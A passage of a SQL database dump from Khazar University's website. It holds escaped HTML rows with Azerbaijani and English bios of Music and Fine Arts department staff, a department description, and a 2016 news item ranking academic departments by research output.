DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong></p><p><strong><br></strong></p><p><br></p><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><img src=\"http://www.khazar.org/files/image/14_09_30_Khuraman.jpg\" style=\"width:150px;height:238px;margin:7px;float:left\"><br></div><p><strong>Məmmədova Xuraman</strong>&nbsp;Əbilhəsən qızı 1974 cü ildə Bakıda anadan olmuşdur.1989 ci ilde 172 sayli orta məktəbi bitirmiş və həmən ildə Əzim Əzimzadə adina Ressamlıq texnikumunun bədii tərtibatçı fakültəsinə qəbul olmuşdur.1993 cü ilde texnikumu bitirmiş və həmən ildə Azərbaycan Dövlət Mədəniyyət və İncəsənət Universitetinin Toxuculuq və yüngül sənaye mallarının bədii layihələşdirilməsi fakültəsinə qəbul olmuşdur.1998-2000 ci illərdə “Aysel” zərgərlik kicik müəssəsində müdir müavini vəzifəsində calışmışdır.1999-cu ildə Bakı Əyləncə mərkəzində zərgərlik işlərinin sərgisi keçirilmişdir.2007 ci ilde İnternational Gemological Institute-nun professional jewellery kursuna daxil olmuşdur.2005-2008 ci illərdə Birləşmiş Ərəb Əmirliyinin Dubai şəhərinde ‘Abilhasan Salmanov Jewellery’ sirkətində zərgər dizayner &nbsp;vəzifəsində çalışmışdır.O illərdə “ Diamonds Are Women Best Friend” ( Almazlar qadınların en yaxın rəfiqəsidir) adlı sərgisini keçirmişdir.Azərbaycanın böyük dramaturq-şairi Hüseyn Cavidin portretini ipək üzərində xırda muncuqlarla işləmişdir. Har hazırda muzeydə yerləşir.2013 cü ildə Park İn Hotelində ‘Ümid var’ fərdi xeyriyyə resm sərgisi keçirilmişdir.2014 ci ilde Abşeron rayon Qobu qəsəbəsinin Sənətkarlıq evində direktor vəzifəsində calışmışdir.</p><br><br></div>'),(1051,666,'en','Khuraman Mammadova','Khuraman Mammadova','<div><br></div><div><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS</strong>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/image/14_09_30_Khuraman.jpg\" style=\"border:0px  #000000;width:150px;height:238px;margin:7px;float:left\"><br></div><p><strong style=\"font-weight:bold\">Məmmədova Xuraman</strong>&nbsp;Əbilhəsən qızı 1974 cü ildə Bakıda anadan olmuşdur.1989 ci ilde 172 sayli orta məktəbi bitirmiş və həmən ildə Əzim Əzimzadə adina Ressamlıq texnikumunun bədii tərtibatçı fakültəsinə qəbul olmuşdur.1993 cü ilde texnikumu bitirmiş və həmən ildə Azərbaycan Dövlət Mədəniyyət və İncəsənət Universitetinin Toxuculuq və yüngül sənaye mallarının bədii layihələşdirilməsi fakültəsinə qəbul olmuşdur.1998-2000 ci illərdə “Aysel” zərgərlik kicik müəssəsində müdir müavini vəzifəsində calışmışdır.1999-cu ildə Bakı Əyləncə mərkəzində zərgərlik işlərinin sərgisi keçirilmişdir.2007 ci ilde İnternational Gemological Institute-nun professional jewellery kursuna daxil olmuşdur.2005-2008 ci illərdə Birləşmiş Ərəb Əmirliyinin Dubai şəhərinde ‘Abilhasan Salmanov Jewellery’ sirkətində zərgər dizayner &nbsp;vəzifəsində çalışmışdır.O illərdə “ Diamonds Are Women Best Friend” ( Almazlar qadınların en yaxın rəfiqəsidir) adlı sərgisini keçirmişdir.Azərbaycanın böyük dramaturq-şairi Hüseyn Cavidin portretini ipək üzərində xırda muncuqlarla işləmişdir. Har hazırda muzeydə yerləşir.2013 cü ildə Park İn Hotelində ‘Ümid var’ fərdi xeyriyyə resm sərgisi keçirilmişdir.2014 ci ilde Abşeron rayon Qobu qəsəbəsinin Sənətkarlıq evində direktor vəzifəsində calışmışdir.    <strong><br></strong><strong><br></strong><strong><br></strong><strong><br></strong><strong><br></strong><strong><br></strong><strong><br></strong>&nbsp;</p>'),(1052,667,'en',' Ramin Rzayev',' Ramin Rzayev','<div><br></div><div><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS</strong>&nbsp;  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"/files/image/13_05_17_ramin.jpg\" style=\"border:0px  #000000;width:150px;height:186px;margin:7px;float:left\"><br></div><div><br></div><p>&nbsp;<a href=\"http://www.khazar.org/files/image/Ramin_Rzayev_CV.pdf\">Ramin&nbsp;Rzayev</a></p><div><p>Ramin Sultan oghlu Rzayev was born in the Dasta village of the Ordubad region of the Nakhchivan Autonomous Republic on January 11<sup>th</sup>, 1978. After studying in the State Music Institute named after Asef Zeynalli from 1993 to 1997, he completed a degree in tar performance from Baku Music Academy in 2003. He mastered some of the secrets of mugham from artists such as Elkhan Muzaffarov and People’s Artist, Associate Professor Aghasalim Abdullayev. In 1994, he served as concertmaster for the Banovsheh (Violet) Song and Dance Ensemble of Azerbaijan Television and Radio.</p><p>He represented Azerbaijani mugham in countries such as Turkey, Russia, Iran, France, Germany, and Israel. He performed and toured with many famous national artists. He has taught mugham courses at Khazar University with People’s Artist Arif Babayev and Honored Artist Mirnazim Asadullayev since the beginning of 2001. In 2010, he performed the Shushtar mugham with singer Simara Imanova at the Second International Festival held with the support of the H. Aliyev Foundation.</p><p>He is presently continuing to perform with People’s Artists Sakina Ismayilova and Simara Imanova. Several of his tar performances of fundamental mugham works were recorded and preserved by the Az TV “Golden Fund” archive. He teaches tar at the Azerbaijan State University of Culture and Fine Arts. He is married with two children, Nazrin and Parviz.&nbsp;</p>  <br></div>'),(1053,667,'az','Ramin Rzayev','Ramin Rzayev','<div><br></div><p></p><p><strong><img src=\"http://www.khazar.org/files/image/13_05_16_music.PNG\"><strong>MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ </strong></strong><br></p><div><br></div>  <p></p><div><br></div><div><br><a href=\"http://www.khazar.org/files/image/Ramin_Rzayev_CV.pdf\"><img src=\"/files/image/13_05_17_ramin.jpg\" style=\"border:7px;width:150px;height:185px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><br></a></div><p><a href=\"http://www.khazar.org/files/image/Ramin_Rzayev_CV.pdf\">Ramin&nbsp;Rzayev</a></p><div><p>Ramin Sultan oğlu Rzayev 1978-ci il yanvarın 11-da Naxgrvan MR Ordubad r-nu Dəstə kəndində anadan olmuşdur. 1993-1997 ci illərdə Asəf Zeynallı adına ADMT-da tehsil aldıqdan sonra, 1997-208-cn illərdə Bakı Musiqi Akademiyasının tarixi nəzəriyyə fakultəsinin xalq çalğı alətləri kafedrasında tar üzrə təhsilini bitirmişdir. Mugamatın sirlərin mahir muğam bilicisi Elxan Müzəffərov ve xalq artisti dosent Ağasəlim Abdullayevdən qisməndə olsa yiyələnmişdir.1994-cü ildə Azərbaycan televiziya ve radiosunun \"Benövşə\" mahnı və rəqs ansablında konsert meyster vəzivəsində çalışmışdır. Turkiyə, Rusiya, İran, Fransa, Almanya israil ve s olkələrdə Azerbaycan muğamatının temsilçisi olmuşdur. Xalq artisləri mərhum Islam Rzayev, Memmedbağır Bağırzadə xalq artistləri, professor Arif Babayev, Canəli Əkberov, Səkinə İsmayılova, Simarə İmanova, əməkdar artistlər Nuriyyə Hüseynova, Teyyub Aslanov, Gülüstan əliyeva ilə dəfələrlə dğvlət tədbirlərində və qastrol səfərlərində&nbsp; iştirak etmişdir. 2001-ci ildən Xəzər Universitetində xalq artisti Arif Babayev,əməkdar artist Mirnazim Əsədullayevlə bərabər tələbələrə Azərbaycan muğamlarının&nbsp; sirlərini aşılamışdır.2010- cu ildə H.Əliyev fondunun dəstəyi ilə keçirilən II beynəlxalq muğam festivalında xanəndə Simarə İmanova ilə 7 lad muğamlardan biri olan Şüştər muğamını səhnədə birlikdə çalıb oxumuşlar. Hal-hazırda xalq artistləri Səkinə İsmayılova ve Simarə İmanova ilə sənət yaradıcılığını davam etdirir. Onun tar ifasında bir neçə fundamental muğam dəstgahları aztv və radiosunun qızıl fondunda qorunub saxlanır. Azərbaycan Dövlət Mədəniyyət və İncəsənət universitetində və Asəf Zeyballı adına musiqi kollecində tar müəllimi kimi fəaliyyət göstərir. ailəlidir 2 övladı var. Nəzrin və Pərviz</p>  <br></div>'),(1054,668,'az','Telman Əliyev','Telman Əliyev','<div><br></div><div><br></div><div><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></div><p><strong>MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><a href=\"http://www.khazar.org/files/Telman%20%C6%8Fliyev%20CV.pdf\"><img src=\"/files/image/TELMAN%20ELIYEV.JPG\" style=\"width:150px;height:182px;margin:7px;float:left\"><br></a></div><div><br></div><div><p><a href=\"http://www.khazar.org/files/pdf/Telman_Aliyev_CV.pdf\">Telm</a><a href=\"http://www.khazar.org/files/pdf/Telman_Aliyev_CV.pdf\">an Əliyev</a></p><br></div>'),(1055,668,'en','Telman Aliyev','Telman Aliyev','<div><br></div><div><p>&nbsp;<img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"></p><p><strong>THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS:</strong></p> <p><br></p><p><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/Telman%20%C6%8Fliyev%20CV.pdf\"><img src=\"/files/image/TELMAN%20ELIYEV.JPG\" style=\"width:150px;height:182px;margin:7px;float:left\"><br></a></p><p><br></p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/pdf/Telman_Aliyev_CV.pdf\">Telman</a><a href=\"http://www.khazar.org/files/pdf/Telman_Aliyev_CV.pdf\"> Əliyev&nbsp;</a></p>  <br></div>'),(1056,669,'en',' Yegana Akhundova',' Yegana Akhundova','<div><br></div><div> <br><p><strong>THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS</strong>&nbsp;&nbsp;<strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"></strong></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><a href=\"http://www.khazar.org/files/CV-Yegana%20Akhundova.doc\"><img src=\"http://www.khazar.org/files/image/YEGANE%20AXUNOVA.jpg\" style=\"width:150px;height:214px;margin:7px;float:left\"><br></a></div><div><br></div><p><a href=\"http://www.khazar.org/files/pdf/Yegana%20Akhundova%20CV.pdf\">Yegana Akhundova</a></p><div><div><div><br></div></div><a href=\"http://www.khazar.org/files/CV-Yegana%20Akhundova.doc\"></a></div><div><br></div><br>  <br></div>'),(1057,669,'az','Yeganə Axundova','Yeganə Axundova','<div><br></div><p><strong><img src=\"http://www.khazar.org/files/image/13_05_16_music.PNG\"><br></strong><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong>&nbsp; &nbsp;  <br></p><br><div><a href=\"http://www.khazar.org/files/CV-Yegana%20Akhundova.doc\"><img src=\"http://www.khazar.org/files/image/YEGANE%20AXUNOVA.jpg\" style=\"border:0px  #0000ee;width:150px;height:214px;margin:7px;float:left\"><br></a></div><div><br></div><p><a href=\"http://www.khazar.org/files/pdf/Yegana%20Akhundova%20CV.pdf\">Yegana Akhundova</a></p>  <br><br><div><br></div><div><br></div><div><br></div><div><br></div>'),(1058,671,'en','Munavvar Samedova','Munavvar Samedova','<div><br></div><div><p><strong>THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS</strong><strong><img src=\"http://www.khazar.org/files/image/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"></strong></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><p><strong><img src=\"http://www.khazar.org/files/image/13_05_17_munevver.jpg\" style=\"border:0px  #000000;width:150px;height:178px;margin:7px;float:left\"><br></strong><strong><a href=\"http://www.khazar.org/files/pdf/Munavvar%20Samedova_CV.pdf\">Munevver Semedova</a></strong><br></p>  <div><br></div><br></div>'),(1059,671,'az','Münəvvər Səmədova','Münəvvər Səmədova','<div><br></div><br><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></strong><strong>MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong><br></p>  <br><div><br></div><div><br></div><div><br></div><p><strong><img src=\"/files/image/13_05_17_munevver.jpg\" style=\"width:150px;height:178px;margin:7px;float:left\"><br></strong><strong><a href=\"http://www.khazar.org/files/pdf/Munavvar%20Samedova_CV.pdf\">Munevver Semedova</a></strong>  <br></p><div><br></div><div><br></div><div><br></div>'),(1060,672,'en',' About Us',' About Us','<br><p>&nbsp;<strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">ABOUT THE DEPARTMENT</strong>&nbsp; <br><br><br>The Department of Music and Fine Arts of Khazar University is engaged in a broad range of activities in its role as one of the main educational/training structures of the university. The Department of Music and Fine Arts creates opportunities for all students to participate in various spheres of art and music regardless of their academic majors, and some of its subjects are included on the list of required subjects for university students.The department also creates an environment for students to learn about the heritage and history of Azerbaijani and world music through the programs that it provides. It coordinates exhibitions of professional and talented graphic artists, tours of foreign theater and concert groups, and meetings with respected artists. These continual activities have turned Khazar University into one of Baku’s richest cultural centers. Khazar’s song and dance ensemble has given performances in Europe, Turkey, Qatar and Georgia, and has won several competitions. The Khazar University ensemble performs Caucasus, Russian, Spanish, Arab, English, Italian, Persian, Turkish, Gypsy and other national songs and dances.According to the university policies, the department coordinates various courses for students to obtain high-quality professional training in music, dance, choir, and carpet making. At the same time, the department also continually offers specialized courses such as art history, world arts and culture, and Asian and European cultures. In addition, this department plays a foundational role in the development of Khazar University in the field of culture.For this reason the department created concert halls in both university campuses, including the famous “World” concert hall in the university’s downtown (Baku) campus. The department is involved in both education and research as well as maintaining relationships with other organizations to enrich the cultural life of the university, producing concerts and shows, and playing an important role in graduation ceremonies and other events.The department’s main goal is to organize training in fields related to national arts of Azerbaijan in order to create performance opportunities so students can develop their artistic and intellectual skills, musical knowledge, and understanding of arts such as music and carpet making. At the same time, the university auditoriums are used for events, rehearsals and concerts of other groups besides the university, making a contribution to the development and propagation of Azerbaijani and world cultures. The subjects offered by the department are carried out with the aim of promoting foundational Azerbaijani aesthetic values. Every student can choose a field in line with his or her preferences in order to more deeply learn national culture. For the duration of their studies at Khazar University, students can participate in music, dance, theater and other groups and at the same time can earn academic credits by taking classes from well-known specialists in mugham, folk music, classical music of Azerbaijan and the world, voice, choir, carpet making, jewelry making, and national costume design. The Department of Music and Fine Arts is also responsible for running several centers, including the Carpet Museum, the Jewelry Museum, and the National Costume Museum.</p><div><br></div><br>'),(1989,1212,'az','Akademik departamentlərin elmi fəaliyyəti üzrə reytinqi müəyyənləşdirildi','2016-cı il iyunun 17-də Xəzər Universitetində akademik departamentlərin elmi fəaliyyəti üzrə reytinqinin müəyyənləşdirilməsinin nəticələri ilə əlaqədar görüş keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı il iyunun 17-də Xəzər Universitetində akademik\r\ndepartamentlərin elmi fəaliyyəti üzrə reytinqinin müəyyənləşdirilməsinin\r\nnəticələri ilə əlaqədar görüş keçirildi. Görüşdə fakültə dekanları, departament müdirləri və professor-müəllim heyəti iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı görüşü açaraq, nüfuzlu beynəlxalq\r\njurnallarda tədqiqat nəticələrinin çap olunması əhəmiyyətini qeyd etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Sonra\r\nuniversitetin Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova\r\nreytinqin nəticələri və diqqət yetirilməsi zəruri olan məsələlər haqqında\r\nməlumat verdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Qeyd edək\r\nki, 18 akademik departament 8 göstərici üzrə araşdırmaya\r\ncəlb edilmişdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Qiymətləndirməyə əsasən ən yüksək nəticə Riyaziyyat\r\ndepartamentində əldə olunmuşdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Xəzər Universitetinin akademik departamentlərinin elmi\r\nfəaliyyəti üzrə reytinq nəticələri aşağıdakı kimi olmuşdur:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">&nbsp;</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt\"=\"\"><strong>Sıra</strong></p>\r\n  </td>\r\n  <td width=\"358\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt\"=\"\"><strong>Departamentin adı</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Riyaziyyat</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Bioloji Elmlər</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">3</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Coğrafiya və ətraf mühit</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">4</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Mədəniyyət və dillər</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">5</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:3.2pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Kimya</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">6</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Psixologiya</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Neft mühəndisliyi</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Jurnalistika</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Siyasi elmlər və\r\n  beynəlxalq münasibətlər </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">8</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Təhsil</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">9</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">İqtisadiyyat və menecment</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">10</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">İngilis dili və ədəbiyyatı</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">11</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Azərbaycan dili və ədəbiyyatı</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">12</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Hüquq</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">13</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Kompüter elmləri</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">14</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Tarix və arxeologiya</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">14</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">İnşaat mühəndisliyi</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">14</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" 